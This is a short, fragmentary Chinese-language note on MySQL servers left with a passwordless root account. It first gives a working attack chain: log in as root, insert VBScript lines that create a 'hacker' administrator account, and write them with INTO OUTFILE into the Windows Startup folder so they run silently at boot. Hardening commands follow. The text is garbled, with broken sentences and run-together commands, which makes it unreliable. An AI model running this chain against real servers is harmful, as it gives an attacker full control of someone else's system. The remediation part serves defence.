MySQL 預設安裝 root 無密碼,若直接對外暴露 3306 埠,攻擊者可無憑證登入、寫入檔案、植入啟動腳本奪取系統控制權。
mysql -u root -h 192.168.0.1(無 -p 參數)。SHOW DATABASES; 發現 mysql、test 等。USE test;
CREATE TABLE a (cmd TEXT);
SELECT ... INTO OUTFILE 落地):
INSERT INTO a VALUES ('Set wsh = CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('wsh.Run "cmd.exe /c net user hacker Pass123 /add", 0');
INSERT INTO a VALUES ('wsh.Run "cmd.exe /c net localgroup administrators hacker /add", 0');
SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\All Users\\「開始」功能表\\程式集\\啟動\\a.vbs";
hacker → 系統淪陷。INTO OUTFILE 需 FILE 權限,root 預設擁有。0 參數),無明顯痕跡。mysqladmin -u root password 'StrongP@ssw0rd'UPDATE mysql.user SET Host='localhost' WHERE User='root'; FLUSH PRIVILEGES;bind-address = 127.0.0.1(my.cnf)。DROP USER ''@'%'; DROP USER ''@'localhost';DROP DATABASE test;SELECT/INSERT/UPDATE/DELETE 於特定庫。SHOW GRANTS;、檢查 mysql.user 異常帳號。# 5.7.6+ (原生密碼驗證)
ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewPass';
# 5.7.6 前 / 兼容模式
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('NewPass');
# 或
UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root'; FLUSH PRIVILEGES;